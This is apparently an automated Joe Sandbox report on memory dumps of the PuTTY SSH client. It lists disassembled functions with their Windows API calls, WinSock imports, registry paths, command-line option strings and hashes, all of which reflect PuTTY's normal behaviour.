Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Text$DialogExtentItemMessageModeObjectPointRectSelectSend
String ID: !dp->shortcuts[s]$&$(ctrl->columns.ncols == 1) ^ (ncols == 1)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$EDIT$STATIC$ncols <= lenof(columns)$ret == c$thisc$win
API String ID: 3577962795-4092102353
Opcode ID: ec6d94e86e4548b55d565a1d0e12ac1d8a0f0232561a0fe27072ccf633115005
Instruction ID: 86db64f917dea463378c6cbe125d1067e656c4e4abe1eb002f85e5b0c0d11a5e
Opcode Fuzzy Hash: ec6d94e86e4548b55d565a1d0e12ac1d8a0f0232561a0fe27072ccf633115005
Instruction Fuzzy Hash: B622D363A18AC285FB609B29D4443BA7BA1FF94784F644135DE8D83795EF3CE944CB08

Function 00007FF6785DCB24 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-demo-terminal, xrefs: 00007FF6785DCD31
%s expects an output filename, xrefs: 00007FF6785DCD62
--host-ca, xrefs: 00007FF6785DCCDD
--host_ca, xrefs: 00007FF6785DCD0B
-demo-config-box, xrefs: 00007FF6785DCBD7
unknown option "%s", xrefs: 00007FF6785DCD4C
can't open input file '%s', xrefs: 00007FF6785DCDAE
-cleanup, xrefs: 00007FF6785DCC93
%s Warning, xrefs: 00007FF6785DCEE3
%s expects input and output filenames, xrefs: 00007FF6785DCE0E
unexpected argument "%s", xrefs: 00007FF6785DCE02
option "%s" requires an argument, xrefs: 00007FF6785DCC79
-pgpfp, xrefs: 00007FF6785DCBD0
This procedure will remove ALL Registry entriesassociated with %s, and will also removethe random seed file. (This only affects thecurrently logged-in user.)THIS PROCESS WILL DESTROY YOUR SAVED SESSIONS.Are you really sure you want to continue?, xrefs: 00007FF6785DCED1
demo-server.example.com, xrefs: 00007FF6785DCE4E, 00007FF6785DCF53

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DeleteObject$DestroyIconUninitialize
String ID: %s Warning$%s expects an output filename$%s expects input and output filenames$--host-ca$--host_ca$-cleanup$-demo-config-box$-demo-terminal$-pgpfp$This procedure will remove ALL Registry entriesassociated with %s, and will also removethe random seed file. (This only affects thecurrently logged-in user.)THIS PROCESS WILL DESTROY YOUR SAVED SESSIONS.Are you really sure you want to continue?$can't open input file '%s'$demo-server.example.com$option "%s" requires an argument$unexpected argument "%s"$unknown option "%s"
API String ID: 1128191211-528882638
Opcode ID: 4a2046309144862b578dab4bd3a57a42867108dd8b234306e9b228e6a68a3681
Instruction ID: e12ecc5b8200a38ace597d95803dfc5e17c80c4780845ec164c24b762e9d8fd7
Opcode Fuzzy Hash: 4a2046309144862b578dab4bd3a57a42867108dd8b234306e9b228e6a68a3681
Instruction Fuzzy Hash: 8AB13D63A3C50391FE94A73194912BA2E91AF41B90F744435ED0ECB7D6DE2CED02A39D

Function 00007FF6785DD100 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,?,?,00007FF6785D5201), ref: 00007FF6785DD139

Strings

Software\SimonTatham\PuTTY\CHMPath, xrefs: 00007FF6785DD21C
HtmlHelpA, xrefs: 00007FF6785DD12F
Software\SimonTatham\PuTTY64\CHMPath, xrefs: 00007FF6785DD201
hhctrl.ocx, xrefs: 00007FF6785DD11B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc
String ID: HtmlHelpA$Software\SimonTatham\PuTTY64\CHMPath$Software\SimonTatham\PuTTY\CHMPath$hhctrl.ocx
API String ID: 190572456-509675872
Opcode ID: a0bc5a2a65dc4d9eae7fa86a812b878beada9e314c77d15a1f4f1c0575aebb16
Instruction ID: 455a3ac43823aa67039d0391d75544365badba3962412d75d389373549c00893
Opcode Fuzzy Hash: a0bc5a2a65dc4d9eae7fa86a812b878beada9e314c77d15a1f4f1c0575aebb16
Instruction Fuzzy Hash: F9315E63E2D743A1FA958779A85C3362E90AF26780F345034CA0DC63D4DE2CFC85A718

Function 00007FF6785F65F0 Relevance: 13.1, Strings: 10, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i < ntabdelays, xrefs: 00007FF6785F6EC8
!ctrl->delay_taborder, xrefs: 00007FF6785F6B98
ntabdelays < lenof(tabdelays), xrefs: 00007FF6785F6CF4
ret == c, xrefs: 00007FF6785F66A9, 00007FF6785F6770, 00007FF6785F679B
false && "bad control type in winctrl_layout", xrefs: 00007FF6785F851C
ncols <= lenof(columns), xrefs: 00007FF6785F697D
STATIC, xrefs: 00007FF6785F67FC
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F66B0, 00007FF6785F6777, 00007FF6785F67A2, 00007FF6785F6952, 00007FF6785F6984, 00007FF6785F6B9F, 00007FF6785F6CFB, 00007FF6785F6ECF, 00007FF6785F8523
BUTTON, xrefs: 00007FF6785F848F
(ctrl->columns.ncols == 1) ^ (ncols == 1), xrefs: 00007FF6785F694B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: !ctrl->delay_taborder$(ctrl->columns.ncols == 1) ^ (ncols == 1)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$BUTTON$STATIC$false && "bad control type in winctrl_layout"$i < ntabdelays$ncols <= lenof(columns)$ntabdelays < lenof(tabdelays)$ret == c
API String ID: 1949149715-1213610268
Opcode ID: bfba1759a0df8782f979f6f4575ff45775d3f30527cdd1423e35be01de23b612
Instruction ID: 59b34c3dc9d05bde51b0fe87297d96dd52fb8a59d5442ab018372f786641cc68
Opcode Fuzzy Hash: bfba1759a0df8782f979f6f4575ff45775d3f30527cdd1423e35be01de23b612
Instruction Fuzzy Hash: 9352C173A18B8186E7218B29E4453AABBA0FB99794F144335DF8C93794EF3CE545CB04

Function 00007FF67864A3E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00007FF67864A439
GetUserNameA.ADVAPI32 ref: 00007FF67864A4C9
GetUserNameA.ADVAPI32 ref: 00007FF67864A4FE

Strings

secur32.dll, xrefs: 00007FF67864A40F
GetUserNameExA, xrefs: 00007FF67864A42F
sspicli.dll, xrefs: 00007FF67864A41E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: NameUser$AddressProc
String ID: GetUserNameExA$secur32.dll$sspicli.dll
API String ID: 9235790-676772081
Opcode ID: 51967d74fa85260e4ba4e7d391479f03c81e0dd2628215960d683692680a8cc6
Instruction ID: 640c0f5a6d86c64c0f1a21efb1366d1511ebc5eb1b5d6772878e9efd405361c1
Opcode Fuzzy Hash: 51967d74fa85260e4ba4e7d391479f03c81e0dd2628215960d683692680a8cc6
Instruction Fuzzy Hash: 4031C422E3C15272F6519B36A41437F1F419F84B84F608035C84E8BBC5DE3CED02AB08

Function 00007FF67860E2C0 Relevance: 138.6, APIs: 40, Strings: 39, Instructions: 320
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6786162C0: LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E309
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E32B
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E34F
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E380
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E3A0
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E3C0
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E3FA
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E422
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E446
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E46A
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E48E
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E4B2
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E4D6
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E4FA
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E51E
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E542
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E566
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E58A
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E5AE
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E5D2
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E5F6
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E61A
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E63E
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E662
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E686
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E6AA
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E6CE
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E6F2
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E716
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E73A
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E75E
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E782
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E7A6
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E7CA
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E7EE
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E812
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C1), ref: 00007FF67860E836
WSAStartup.WS2_32 ref: 00007FF67860E994
WSAStartup.WS2_32 ref: 00007FF67860E9B6
WSAStartup.WS2_32 ref: 00007FF67860E9D8

Strings

htons, xrefs: 00007FF67860E583
Unable to load any WinSock library, xrefs: 00007FF67860EA07
WSACleanup, xrefs: 00007FF67860E4F3
wship6.dll, xrefs: 00007FF67860E35E
WSAAsyncSelect, xrefs: 00007FF67860E41B
WSAStartup, xrefs: 00007FF67860E4CF
getpeername, xrefs: 00007FF67860E7E7
getaddrinfo, xrefs: 00007FF67860E2FF, 00007FF67860E324, 00007FF67860E376
ntohs, xrefs: 00007FF67860E5A7
ntohl, xrefs: 00007FF67860E53B
accept, xrefs: 00007FF67860E7C3
WSAEventSelect, xrefs: 00007FF67860E43F
send, xrefs: 00007FF67860E757
ws2_32.dll, xrefs: 00007FF67860E2C4
WSAGetLastError, xrefs: 00007FF67860E487
freeaddrinfo, xrefs: 00007FF67860E348, 00007FF67860E399
getservbyname, xrefs: 00007FF67860E613
shutdown, xrefs: 00007FF67860E77B
Unable to initialise WinSock, xrefs: 00007FF67860EA13
inet_ntop, xrefs: 00007FF67860E67F
closesocket, xrefs: 00007FF67860E517
wsock32.dll, xrefs: 00007FF67860E2E3
inet_ntoa, xrefs: 00007FF67860E65B
listen, xrefs: 00007FF67860E733
WSAEnumNetworkEvents, xrefs: 00007FF67860E4AB
WSAIoctl, xrefs: 00007FF67860E82F
socket, xrefs: 00007FF67860E70F
setsockopt, xrefs: 00007FF67860E6EB
gethostbyname, xrefs: 00007FF67860E5EF
WSAAddressToStringA, xrefs: 00007FF67860E3F3
getnameinfo, xrefs: 00007FF67860E3B9
inet_addr, xrefs: 00007FF67860E637
bind, xrefs: 00007FF67860E6C7
select, xrefs: 00007FF67860E463
connect, xrefs: 00007FF67860E6A3
recv, xrefs: 00007FF67860E80B
gethostname, xrefs: 00007FF67860E5CB
htonl, xrefs: 00007FF67860E55F
ioctlsocket, xrefs: 00007FF67860E79F

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc$Startup$LibraryLoad
String ID: Unable to initialise WinSock$Unable to load any WinSock library$WSAAddressToStringA$WSAAsyncSelect$WSACleanup$WSAEnumNetworkEvents$WSAEventSelect$WSAGetLastError$WSAIoctl$WSAStartup$accept$bind$closesocket$connect$freeaddrinfo$getaddrinfo$gethostbyname$gethostname$getnameinfo$getpeername$getservbyname$htonl$htons$inet_addr$inet_ntoa$inet_ntop$ioctlsocket$listen$ntohl$ntohs$recv$select$send$setsockopt$shutdown$socket$ws2_32.dll$wship6.dll$wsock32.dll
API String ID: 1450042416-3487058210
Opcode ID: 63f1f37c3d983cc709cba1ade68d615c3cf9c675a72a3cd915984577514d7544
Instruction ID: 3255a96c4cca4222781e536e05c08a35deadfaae3b59d46745c12a188baabe4c
Opcode Fuzzy Hash: 63f1f37c3d983cc709cba1ade68d615c3cf9c675a72a3cd915984577514d7544
Instruction Fuzzy Hash: 4912E76A93AB17A0FA45CB74E8647323EA2AF64750F740435C40DCA264EF6CFD44AA5C

Function 00007FF6785F738D Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 277windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F7F89

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

Strings

LISTBOX, xrefs: 00007FF6785F7965
COMBOBOX, xrefs: 00007FF6785F7EBF
ud, xrefs: 00007FF6785F73F8
ret == c, xrefs: 00007FF6785F8016, 00007FF6785F8045
0, xrefs: 00007FF6785F7E92
STATIC, xrefs: 00007FF6785F78D0, 00007FF6785F7D0B, 00007FF6785F7E5E
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F801D, 00007FF6785F804C, 00007FF6785F80AF
!dp->shortcuts[s], xrefs: 00007FF6785F80A8

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend_set_error_mode
String ID: !dp->shortcuts[s]$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$0$COMBOBOX$LISTBOX$STATIC$ret == c$ud
API String ID: 3184551911-1172212562
Opcode ID: 9f20c77925bbc0044631ccf326b4f83694382a9a88885be6bc3de373428def9f
Instruction ID: 01a6f40fd78a86455962911c5b73b8f5e19c6faa312addbf40ab0c481e533b41
Opcode Fuzzy Hash: 9f20c77925bbc0044631ccf326b4f83694382a9a88885be6bc3de373428def9f
Instruction Fuzzy Hash: 54D1D173A182828AE774CF25E444BABBBA5F784784F144239DA5987B89DF3CD904CF04

Function 00007FF6785F50B0 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6786162C0: LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C6), ref: 00007FF6785F50D6
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C6), ref: 00007FF6785F50E9
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C6), ref: 00007FF6785F50FC
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51C6), ref: 00007FF6785F510F

Strings

MakeDragList, xrefs: 00007FF6785F50DF
InitCommonControls, xrefs: 00007FF6785F50C5
DrawInsert, xrefs: 00007FF6785F5105
comctl32.dll, xrefs: 00007FF6785F50B6
LBItemFromPt, xrefs: 00007FF6785F50F2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: DrawInsert$InitCommonControls$LBItemFromPt$MakeDragList$comctl32.dll
API String ID: 2238633743-1292723818
Opcode ID: 94718e5887e2b781b78c5227e31c79f2b51bffc4c732e88a8550ad2025163722
Instruction ID: d552d1d2b00c79e197f4cc7a5a50f37c29c7f2ca3c75107c88d2da8571b6c43e
Opcode Fuzzy Hash: 94718e5887e2b781b78c5227e31c79f2b51bffc4c732e88a8550ad2025163722
Instruction Fuzzy Hash: 17F0446AA29A06A0E901AB25FD540A62B55AF147C1F719132C90CC2724DE3CE947A758

Function 00007FF678624BC0 Relevance: 13.6, APIs: 9, Instructions: 94
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadCursorA.USER32 ref: 00007FF678624C36
RegisterClassA.USER32 ref: 00007FF678624C69
CreateDialogParamA.USER32 ref: 00007FF678624CBA
SetWindowLongPtrA.USER32 ref: 00007FF678624CCE
GetMessageA.USER32 ref: 00007FF678624D15
IsDialogMessageA.USER32 ref: 00007FF678624D2B
DispatchMessageW.USER32 ref: 00007FF678624D35
PostQuitMessage.USER32 ref: 00007FF678624D40
DestroyWindow.USER32 ref: 00007FF678624D49

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Message$DialogWindow$ClassCreateCursorDestroyDispatchLoadLongParamPostQuitRegister
String ID:
API String ID: 4008243408-0
Opcode ID: 8dc0eb86304c87fce5710041ab16b5df4aff4e4aec2429a9720ab6fd90c5c869
Instruction ID: 01650e4c50b8c4cf4f918d4c061ae1880b28003d0181677972f61aca2c0d8534
Opcode Fuzzy Hash: 8dc0eb86304c87fce5710041ab16b5df4aff4e4aec2429a9720ab6fd90c5c869
Instruction Fuzzy Hash: 93418022A18BC195E760CB25F8043AB7BA0FB99790F604174DE8D87768DF3CD949DB04

Function 00007FF6785F728F Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 269
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32 ref: 00007FF6785F72F1

Strings

ret == c, xrefs: 00007FF6785F8016, 00007FF6785F8045
ncols <= lenof(columns), xrefs: 00007FF6785F697D
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F6952, 00007FF6785F6984, 00007FF6785F801D, 00007FF6785F804C, 00007FF6785F80AF
!dp->shortcuts[s], xrefs: 00007FF6785F80A8
BUTTON, xrefs: 00007FF6785F733E
(ctrl->columns.ncols == 1) ^ (ncols == 1), xrefs: 00007FF6785F694B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: MessageSend
String ID: !dp->shortcuts[s]$(ctrl->columns.ncols == 1) ^ (ncols == 1)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$BUTTON$ncols <= lenof(columns)$ret == c
API String ID: 3850602802-881213205
Opcode ID: 15038341bca84f7f5042ea09811a7eff4d436e285bc1cfc11302dc7fc67c737a
Instruction ID: 820e25b10a8c4faac66f18376f37207ec05cd4cf80e9820740bdd12db06e94c4
Opcode Fuzzy Hash: 15038341bca84f7f5042ea09811a7eff4d436e285bc1cfc11302dc7fc67c737a
Instruction Fuzzy Hash: 58D1D063A186C185FB618B29A4453FABBA1FF94784F144235DE8D83794EF7CE944CB08

Function 00007FF67860C930 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

demo-server-2, xrefs: 00007FF67860C96A
